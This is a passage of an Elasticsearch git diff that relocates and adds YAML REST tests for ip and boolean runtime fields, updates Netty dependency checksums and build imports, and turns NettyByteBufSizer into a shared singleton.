b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/52_ip_source_in_query.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/52_ip_source_in_query.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/52_ip_source_in_query.yml diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/53_ip_calculated_at_index.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/53_ip_calculated_at_index.yml new file mode 100644 index 0000000000000..f095aa4cc3846 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/53_ip_calculated_at_index.yml @@ -0,0 +1,161 @@ +--- +setup: + - do: + indices.create: + index: http_logs + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + properties: + ip: + type: ip + script: + source: | + Matcher m = /([^ ]+) .+/.matcher(doc["message"].value); + if (m.matches()) { + emit(m.group(1)); + } + # Test fetching from _source + ip_from_source: + type: ip + script: + source: | + Matcher m = /([^ ]+) .+/.matcher(params._source.message); + if (m.matches()) { + emit(m.group(1)); + } + # Test emitting many values + ip_many: + type: ip + script: + source: | + String m = doc["message"].value; + int end = m.indexOf(" "); + end = m.lastIndexOf(".", end); + String stem = m.substring(0, end + 1); + for (int i = 0; i < 5; i++) { + emit(stem + i); + } + timestamp: + type: date + message: + type: keyword + - do: + bulk: + index: http_logs + refresh: true + body: | + {"index":{}} + {"timestamp": "1998-04-30T14:30:17-05:00", "message" : "40.135.0.0 - - [1998-04-30T14:30:17-05:00] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:30:53-05:00", "message" : "232.0.0.0 - - [1998-04-30T14:30:53-05:00] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:12-05:00", "message" : "26.1.0.0 - - [1998-04-30T14:31:12-05:00] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:19-05:00", "message" : "247.37.0.0 - - [1998-04-30T14:31:19-05:00] \"GET /french/splash_inet.html HTTP/1.0\" 200 3781"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:22-05:00", "message" : "247.37.0.0 - - [1998-04-30T14:31:22-05:00] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0"} + {"index":{}} + {"timestamp": "1998-04-30T14:31:27-05:00", "message" : "252.0.0.0 - - [1998-04-30T14:31:27-05:00] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} + + +--- +"get mapping": + - do: + indices.get_mapping: + index: http_logs + - match: {http_logs.mappings.properties.ip.type: ip } + - match: + http_logs.mappings.properties.ip.script.source: | + Matcher m = /([^ ]+) .+/.matcher(doc["message"].value); + if (m.matches()) { + emit(m.group(1)); + } + - match: {http_logs.mappings.properties.ip.script.lang: painless } + +--- +"fetch fields": + - do: + search: + index: http_logs + body: + sort: timestamp + fields: [ip, ip_from_source, ip_many] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.ip: ["40.135.0.0"] } + - match: {hits.hits.0.fields.ip_from_source: ["40.135.0.0"] } + - match: + hits.hits.0.fields.ip_many: + - 40.135.0.0 + - 40.135.0.1 + - 40.135.0.2 + - 40.135.0.3 + - 40.135.0.4 + +--- +"docvalue_fields": + - do: + search: + index: http_logs + body: + sort: timestamp + docvalue_fields: [ip, ip_from_source, ip_many] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.ip: ["40.135.0.0"] } + - match: {hits.hits.0.fields.ip_from_source: ["40.135.0.0"] } + - match: + hits.hits.0.fields.ip_many: + - 40.135.0.0 + - 40.135.0.1 + - 40.135.0.2 + - 40.135.0.3 + - 40.135.0.4 + +--- +"terms agg": + - do: + search: + index: http_logs + body: + aggs: + ip: + terms: + field: ip + - match: {hits.total.value: 6} + - match: {aggregations.ip.buckets.0.key: 247.37.0.0} + - match: {aggregations.ip.buckets.0.doc_count: 2} + - match: {aggregations.ip.buckets.1.key: 26.1.0.0} + - match: {aggregations.ip.buckets.1.doc_count: 1} + +--- +"use in scripts": + - do: + search: + index: http_logs + body: + aggs: + ip: + terms: + script: + String v = doc['ip'].value; + return v.substring(0, v.indexOf('.')); + - match: {hits.total.value: 6} + - match: {aggregations.ip.buckets.0.key: '247'} + - match: {aggregations.ip.buckets.0.doc_count: 2} + - match: {aggregations.ip.buckets.1.key: '232'} + - match: {aggregations.ip.buckets.1.doc_count: 1} + +--- +"term query": + - do: + search: + index: http_logs + body: + query: + term: + ip: 252.0.0.0 + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.timestamp: "1998-04-30T14:31:27-05:00"} + diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/60_boolean.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/60_boolean.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/60_boolean.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/60_boolean.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/61_boolean_from_source.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/61_boolean_from_source.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/61_boolean_from_source.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/61_boolean_from_source.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/62_boolean_source_in_query.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/62_boolean_source_in_query.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/62_boolean_source_in_query.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/62_boolean_source_in_query.yml diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/63_boolean_calculated_at_index.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/63_boolean_calculated_at_index.yml new file mode 100644 index 0000000000000..922f602f343e3 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/63_boolean_calculated_at_index.yml @@ -0,0 +1,134 @@ +--- +setup: + - do: + indices.create: + index: sensor + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + properties: + timestamp: + type: date + temperature: + type: long + voltage: + type: double + node: + type: keyword + over_v: + type: boolean + script: + source: | + for (def v : doc['voltage']) { + emit(v >= params.min_v); + } + params: + min_v: 5.0 + # Test fetching from _source + over_v_from_source: + type: boolean + script: + source: | + emit(params._source.voltage >= 5.0); + # Test many booleans + big_vals: + type: boolean + script: + source: | + for (def v : doc['temperature']) { + emit(v >= 200); + } + for (def v : doc['voltage']) { + emit(v >= 5.0); + } + + + - do: + bulk: + index: sensor + refresh: true + body: | + {"index":{}} + {"timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"} + {"index":{}} + {"timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"} + {"index":{}} + {"timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"} + {"index":{}} + {"timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"} + {"index":{}} + {"timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"} + {"index":{}} + {"timestamp": 1516297294000, "temperature": 202, "voltage": 4.0, "node": "c"} + +--- +"get mapping": + - do: + indices.get_mapping: + index: sensor + - match: {sensor.mappings.properties.over_v.type: boolean } + - match: + sensor.mappings.properties.over_v.script.source: | + for (def v : doc['voltage']) { + emit(v >= params.min_v); + } + - match: {sensor.mappings.properties.over_v.script.params: {min_v: 5.0} } + - match: {sensor.mappings.properties.over_v.script.lang: painless } + +--- +"fetch fields": + - do: + search: + index: sensor + body: + sort: timestamp + fields: [over_v, over_v_from_source, big_vals] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.over_v: [false] } + - match: {hits.hits.0.fields.over_v_from_source: [false] } + - match: {hits.hits.0.fields.big_vals: [false, true] } # doc values are sorted with falses before trues + +--- +"docvalue_fields": + - do: + search: + index: sensor + body: + sort: timestamp + docvalue_fields: [over_v, over_v_from_source, big_vals] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.over_v: [false] } + - match: {hits.hits.0.fields.over_v_from_source: [false] } + - match: {hits.hits.0.fields.big_vals: [false, true] } # doc values are sorted with falses before trues + +--- +"terms agg": + - do: + search: + index: sensor + body: + aggs: + over_v: + terms: + field: over_v + - match: {hits.total.value: 6} + - match: {aggregations.over_v.buckets.0.key_as_string: "true"} + - match: {aggregations.over_v.buckets.0.doc_count: 4} + - match: {aggregations.over_v.buckets.1.key_as_string: "false"} + - match: {aggregations.over_v.buckets.1.doc_count: 2} + +--- +"term query": + - do: + search: + index: sensor + body: + query: + term: + over_v: true + sort: + timestamp: asc + - match: {hits.total.value: 4} + - match: {hits.hits.0._source.voltage: 5.6} diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/80_multiple_indices.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/80_multiple_indices.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/80_multiple_indices.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/80_multiple_indices.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/90_loops.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/90_loops.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/90_loops.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/90_loops.yml diff --git a/modules/transport-netty4/build.gradle b/modules/transport-netty4/build.gradle index 057deef19efaf..b4dbdc137700a 100644 --- a/modules/transport-netty4/build.gradle +++ b/modules/transport-netty4/build.gradle @@ -7,12 +7,13 @@ */ -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.RestIntegTestTask -import org.elasticsearch.gradle.test.rest.JavaRestTestPlugin -import org.elasticsearch.gradle.test.InternalClusterTestPlugin +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.test.RestIntegTestTask +import org.elasticsearch.gradle.internal.test.rest.JavaRestTestPlugin +import org.elasticsearch.gradle.internal.test.InternalClusterTestPlugin apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.java-rest-test' apply plugin: 'elasticsearch.internal-cluster-test' @@ -40,7 +41,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes' + include '_common', 'cluster', 'nodes' } } @@ -182,6 +183,8 @@ tasks.named("thirdPartyAudit").configure { 'io.netty.internal.tcnative.SessionTicketKey', 'io.netty.internal.tcnative.SniHostNameMatcher', 'io.netty.internal.tcnative.SSL', + 'io.netty.internal.tcnative.SSLSession', + 'io.netty.internal.tcnative.SSLSessionCache', 'org.eclipse.jetty.alpn.ALPN$ClientProvider', 'org.eclipse.jetty.alpn.ALPN$ServerProvider', 'org.eclipse.jetty.alpn.ALPN', diff --git a/modules/transport-netty4/licenses/netty-buffer-4.1.49.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-buffer-4.1.49.Final.jar.sha1 deleted file mode 100644 index 14da1fbad92f1..0000000000000 --- a/modules/transport-netty4/licenses/netty-buffer-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -8e819a81bca88d1e88137336f64531a53db0a4ad \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-buffer-4.1.63.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-buffer-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..d472369d69bc0 --- /dev/null +++ b/modules/transport-netty4/licenses/netty-buffer-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +40028ce5ac7c43f1c9a1439f74637cad04013e23 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-codec-4.1.49.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-codec-4.1.49.Final.jar.sha1 deleted file mode 100644 index 6353dc0b7ada3..0000000000000 --- a/modules/transport-netty4/licenses/netty-codec-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -20218de83c906348283f548c255650fd06030424 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-codec-4.1.63.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-codec-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..8bfbe331c55c9 --- /dev/null +++ b/modules/transport-netty4/licenses/netty-codec-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +d4d2fccea88c80e56d59ce1053c53df0f9f4f5db \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-codec-http-4.1.49.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-codec-http-4.1.49.Final.jar.sha1 deleted file mode 100644 index 07651dd7f7682..0000000000000 --- a/modules/transport-netty4/licenses/netty-codec-http-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -4f30dbc462b26c588dffc0eb7552caef1a0f549e \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-codec-http-4.1.63.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-codec-http-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..0279e286e318d --- /dev/null +++ b/modules/transport-netty4/licenses/netty-codec-http-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +f8c9b159dcb76452dc98a370a5511ff993670419 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-common-4.1.49.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-common-4.1.49.Final.jar.sha1 deleted file mode 100644 index 2c0aee66a9914..0000000000000 --- a/modules/transport-netty4/licenses/netty-common-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -927c8563a1662d869b145e70ce82ad89100f2c90 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-common-4.1.63.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-common-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..54e103f1d8b5f --- /dev/null +++ b/modules/transport-netty4/licenses/netty-common-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +e1206b46384d4dcbecee2901f18ce65ecf02e8a4 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-handler-4.1.49.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-handler-4.1.49.Final.jar.sha1 deleted file mode 100644 index c6e2ae4fa045c..0000000000000 --- a/modules/transport-netty4/licenses/netty-handler-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -c73443adb9d085d5dc2d5b7f3bdd91d5963976f7 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-handler-4.1.63.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-handler-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..ae180d9ae4016 --- /dev/null +++ b/modules/transport-netty4/licenses/netty-handler-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +879a43c2325b08e92e8967218b6ddb0ed4b7a0d3 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-resolver-4.1.49.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-resolver-4.1.49.Final.jar.sha1 deleted file mode 100644 index 986895a8ecf31..0000000000000 --- a/modules/transport-netty4/licenses/netty-resolver-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -eb81e1f0eaa99e75983bf3d28cae2b103e0f3a34 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-resolver-4.1.63.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-resolver-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..eb6858e75cc21 --- /dev/null +++ b/modules/transport-netty4/licenses/netty-resolver-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +d07cd47c101dfa655d6d5cc304d523742fd78ca8 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-transport-4.1.49.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-transport-4.1.49.Final.jar.sha1 deleted file mode 100644 index 175b8c84a8824..0000000000000 --- a/modules/transport-netty4/licenses/netty-transport-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -415ea7f326635743aec952fe2349ca45959e94a7 \ No newline at end of file diff --git a/modules/transport-netty4/licenses/netty-transport-4.1.63.Final.jar.sha1 b/modules/transport-netty4/licenses/netty-transport-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..c41cdc86c51c8 --- /dev/null +++ b/modules/transport-netty4/licenses/netty-transport-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +09a8bbe1ba082c9434e6f524d3864a53f340f2df \ No newline at end of file diff --git a/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/ESNetty4IntegTestCase.java b/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/ESNetty4IntegTestCase.java index 398bb26dbcf08..b186eb6ac83d1 100644 --- a/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/ESNetty4IntegTestCase.java +++ b/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/ESNetty4IntegTestCase.java @@ -30,8 +30,8 @@ protected boolean addMockTransportService() { } @Override - protected Settings nodeSettings(int nodeOrdinal) { - Settings.Builder builder = Settings.builder().put(super.nodeSettings(nodeOrdinal)); + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { + Settings.Builder builder = Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)); // randomize netty settings if (randomBoolean()) { builder.put(Netty4Transport.WORKER_COUNT.getKey(), random().nextInt(3) + 1); diff --git a/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/http/netty4/Netty4HttpRequestSizeLimitIT.java b/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/http/netty4/Netty4HttpRequestSizeLimitIT.java index 73b46fc4f2944..3f22b484f0403 100644 --- a/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/http/netty4/Netty4HttpRequestSizeLimitIT.java +++ b/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/http/netty4/Netty4HttpRequestSizeLimitIT.java @@ -47,9 +47,9 @@ protected boolean addMockHttpTransport() { } @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { return Settings.builder() - .put(super.nodeSettings(nodeOrdinal)) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) .put(HierarchyCircuitBreakerService.IN_FLIGHT_REQUESTS_CIRCUIT_BREAKER_LIMIT_SETTING.getKey(), LIMIT) .build(); } diff --git a/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/transport/netty4/Netty4TransportMultiPortIntegrationIT.java b/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/transport/netty4/Netty4TransportMultiPortIntegrationIT.java index cfe2a9308cf55..34d3fbc8284ee 100644 --- a/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/transport/netty4/Netty4TransportMultiPortIntegrationIT.java +++ b/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/transport/netty4/Netty4TransportMultiPortIntegrationIT.java @@ -36,13 +36,13 @@ public class Netty4TransportMultiPortIntegrationIT extends ESNetty4IntegTestCase private static String randomPortRange; @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { if (randomPort == -1) { randomPort = randomIntBetween(49152, 65525); randomPortRange = String.format(Locale.ROOT, "%s-%s", randomPort, randomPort + 10); } Settings.Builder builder = Settings.builder() - .put(super.nodeSettings(nodeOrdinal)) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) .put("network.host", "127.0.0.1") .put("transport.profiles.client1.port", randomPortRange) .put("transport.profiles.client1.publish_host", "127.0.0.7") diff --git a/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/transport/netty4/Netty4TransportPublishAddressIT.java b/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/transport/netty4/Netty4TransportPublishAddressIT.java index 0b2619c74ae6c..f53262c94f28c 100644 --- a/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/transport/netty4/Netty4TransportPublishAddressIT.java +++ b/modules/transport-netty4/src/internalClusterTest/java/org/elasticsearch/transport/netty4/Netty4TransportPublishAddressIT.java @@ -33,9 +33,9 @@ @ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0) public class Netty4TransportPublishAddressIT extends ESNetty4IntegTestCase { @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { return Settings.builder() - .put(super.nodeSettings(nodeOrdinal)) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) .put(NetworkModule.TRANSPORT_TYPE_KEY, Netty4Plugin.NETTY_TRANSPORT_NAME) .build(); } diff --git a/modules/transport-netty4/src/javaRestTest/java/org/elasticsearch/rest/Netty4HeadBodyIsEmptyIT.java b/modules/transport-netty4/src/javaRestTest/java/org/elasticsearch/rest/Netty4HeadBodyIsEmptyIT.java index c95422ff4574b..0402ae0657073 100644 --- a/modules/transport-netty4/src/javaRestTest/java/org/elasticsearch/rest/Netty4HeadBodyIsEmptyIT.java +++ b/modules/transport-netty4/src/javaRestTest/java/org/elasticsearch/rest/Netty4HeadBodyIsEmptyIT.java @@ -12,6 +12,7 @@ import org.elasticsearch.client.Response; import org.elasticsearch.common.Strings; import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.rest.action.admin.indices.RestPutIndexTemplateAction; import org.elasticsearch.test.rest.ESRestTestCase; import org.hamcrest.Matcher; @@ -98,6 +99,7 @@ public void testAliasDoesNotExist() throws IOException { headTestCase("/test/_alias/test_alias", emptyMap(), NOT_FOUND.getStatus(), greaterThan(0)); } + @AwaitsFix(bugUrl = "https://github.com/elastic/elasticsearch/issues/71664") public void testTemplateExists() throws IOException { try (XContentBuilder builder = jsonBuilder()) { builder.startObject(); @@ -112,15 +114,20 @@ public void testTemplateExists() throws IOException { builder.endObject(); Request request = new Request("PUT", "/_template/template"); + // The warnings only need to be checked in FIPS mode because we run default distribution for FIPS, + // while the integ-test distribution is used otherwise. if (inFipsJvm()) { request.setOptions(expectWarnings( "legacy template [template] has index patterns [*] matching patterns from existing composable templates " + - "[.deprecation-indexing-template,.slm-history,.triggered_watches,.watch-history-14,.watches,ilm-history,logs," + - "metrics,synthetics] with patterns (.deprecation-indexing-template => [.logs-deprecation-elasticsearch]," + - ".slm-history => [.slm-history-5*],.triggered_watches => [.triggered_watches*]," + - ".watch-history-14 => [.watcher-history-14*],.watches => [.watches*],ilm-history => [ilm-history-5*]," + + "[.deprecation-indexing-template,.slm-history,.watch-history-14,ilm-history,logs," + + "metrics,synthetics] with patterns (.deprecation-indexing-template => [.logs-deprecation.elasticsearch-default]," + + ".slm-history => [.slm-history-5*]," + + ".watch-history-14 => [.watcher-history-14*],ilm-history => [ilm-history-5*]," + "logs => [logs-*-*],metrics => [metrics-*-*],synthetics => [synthetics-*-*]" + - "); this template [template] may be ignored in favor of a composable template at index creation time")); + "); this template [template] may be ignored in favor of a composable template at index creation time", + RestPutIndexTemplateAction.DEPRECATION_WARNING)); + } else { + request.setOptions(expectWarnings(RestPutIndexTemplateAction.DEPRECATION_WARNING)); } request.setJsonEntity(Strings.toString(builder)); client().performRequest(request); diff --git a/modules/transport-netty4/src/main/java/org/elasticsearch/http/netty4/Netty4HttpServerTransport.java b/modules/transport-netty4/src/main/java/org/elasticsearch/http/netty4/Netty4HttpServerTransport.java index 4501ed5d2976c..7c71ff3bca349 100644 --- a/modules/transport-netty4/src/main/java/org/elasticsearch/http/netty4/Netty4HttpServerTransport.java +++ b/modules/transport-netty4/src/main/java/org/elasticsearch/http/netty4/Netty4HttpServerTransport.java @@ -273,7 +273,6 @@ public ChannelHandler configureServerChannelHandler() { protected static class HttpChannelHandler extends ChannelInitializer { private final Netty4HttpServerTransport transport; - private final NettyByteBufSizer byteBufSizer; private final Netty4HttpRequestCreator requestCreator; private final Netty4HttpRequestHandler requestHandler; private final Netty4HttpResponseCreator responseCreator; @@ -282,7 +281,6 @@ protected static class HttpChannelHandler extends ChannelInitializer { protected HttpChannelHandler(final Netty4HttpServerTransport transport, final HttpHandlingSettings handlingSettings) { this.transport = transport; this.handlingSettings = handlingSettings; - this.byteBufSizer = new NettyByteBufSizer(); this.requestCreator = new Netty4HttpRequestCreator(); this.requestHandler = new Netty4HttpRequestHandler(transport); this.responseCreator = new Netty4HttpResponseCreator(); @@ -292,7 +290,7 @@ protected HttpChannelHandler(final Netty4HttpServerTransport transport, final Ht protected void initChannel(Channel ch) throws Exception { Netty4HttpChannel nettyHttpChannel = new Netty4HttpChannel(ch); ch.attr(HTTP_CHANNEL_KEY).set(nettyHttpChannel); - ch.pipeline().addLast("byte_buf_sizer", byteBufSizer); + ch.pipeline().addLast("byte_buf_sizer", NettyByteBufSizer.INSTANCE); ch.pipeline().addLast("read_timeout", new ReadTimeoutHandler(transport.readTimeoutMillis, TimeUnit.MILLISECONDS)); final HttpRequestDecoder decoder = new HttpRequestDecoder( handlingSettings.getMaxInitialLineLength(), diff --git a/modules/transport-netty4/src/main/java/org/elasticsearch/transport/NettyByteBufSizer.java b/modules/transport-netty4/src/main/java/org/elasticsearch/transport/NettyByteBufSizer.java index 1a0ba42edd048..f5a904f312d4b 100644 --- a/modules/transport-netty4/src/main/java/org/elasticsearch/transport/NettyByteBufSizer.java +++ b/modules/transport-netty4/src/main/java/org/elasticsearch/transport/NettyByteBufSizer.java @@ -18,6 +18,12 @@ @ChannelHandler.Sharable public class NettyByteBufSizer extends MessageToMessageDecoder { + public static final NettyByteBufSizer INSTANCE = new NettyByteBufSizer(); + + private NettyByteBufSizer() { + // sharable singleton + } + @Override protected void decode(ChannelHandlerContext ctx, ByteBuf buf, List out) { int readableBytes = buf.readableBytes(); diff --git a/modules/transport-netty4/src/main/java/org/elasticsearch/transport/netty4/Netty4MessageChannelHandler.java b/modules/transport-netty4/src/main/java/org/elasticsearch/transport/netty4/Netty4MessageChannelHandler.java index 7df12180838d0..73f0d9e09d223 100644 --- a/modules/transport-netty4/src/main/java/org/elasticsearch/transport/netty4/Netty4MessageChannelHandler.java +++ b/modules/transport-netty4/src/main/java/org/elasticsearch/transport/netty4/Netty4MessageChannelHandler.java @@ -109,7 +109,7 @@ public void flush(ChannelHandlerContext ctx) { public void channelInactive(ChannelHandlerContext ctx) throws Exception { assert Transports.assertDefaultThreadContext(transport.getThreadPool().getThreadContext()); doFlush(ctx); - Releasables.closeWhileHandlingException(pipeline); + Releasables.closeExpectNoException(pipeline); super.channelInactive(ctx); } diff --git a/modules/transport-netty4/src/main/java/org/elasticsearch/transport/netty4/Netty4Transport.java b/modules/transport-netty4/src/main/java/org/elasticsearch/transport/netty4/Netty4Transport.java index 469c43b6688ab..f4367399098a3 100644 --- a/modules/transport-netty4/src/main/java/org/elasticsearch/transport/netty4/Netty4Transport.java +++ b/modules/transport-netty4/src/main/java/org/elasticsearch/transport/netty4/Netty4Transport.java @@ -80,7 +80,6 @@ public class Netty4Transport extends TcpTransport { public static final Setting NETTY_BOSS_COUNT = intSetting("transport.netty.boss_count", 1, 1, Property.NodeScope); - private final SharedGroupFactory sharedGroupFactory; private final RecvByteBufAllocator recvByteBufAllocator; private final ByteSizeValue receivePredictorMin; @@ -301,6 +300,7 @@ protected void initChannel(Channel ch) throws Exception { addClosedExceptionLogger(ch); assert ch instanceof Netty4NioSocketChannel; NetUtils.tryEnsureReasonableKeepAliveConfig(((Netty4NioSocketChannel) ch).javaChannel()); + ch.pipeline().addLast("byte_buf_sizer", NettyByteBufSizer.INSTANCE); ch.pipeline().addLast("logging", new ESLoggingHandler()); // using a dot as a prefix means this cannot come from any settings parsed ch.pipeline().addLast("dispatcher", new Netty4MessageChannelHandler(pageCacheRecycler, Netty4Transport.this)); @@ -316,7 +316,6 @@ public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws E protected class ServerChannelInitializer extends ChannelInitializer { protected final String name; - private final NettyByteBufSizer sizer = new NettyByteBufSizer(); protected ServerChannelInitializer(String name) { this.name = name; @@ -329,7 +328,7 @@ protected void initChannel(Channel ch) throws Exception { NetUtils.tryEnsureReasonableKeepAliveConfig(((Netty4NioSocketChannel) ch).javaChannel()); Netty4TcpChannel nettyTcpChannel = new Netty4TcpChannel(ch, true, name, ch.newSucceededFuture()); ch.attr(CHANNEL_KEY).set(nettyTcpChannel); - ch.pipeline().addLast("byte_buf_sizer", sizer); + ch.pipeline().addLast("byte_buf_sizer", NettyByteBufSizer.INSTANCE); ch.pipeline().addLast("logging", new ESLoggingHandler()); ch.pipeline().addLast("dispatcher", new Netty4MessageChannelHandler(pageCacheRecycler, Netty4Transport.this)); serverAcceptedChannel(nettyTcpChannel); diff --git a/modules/transport-netty4/src/test/java/org/elasticsearch/transport/netty4/SimpleNetty4TransportTests.java 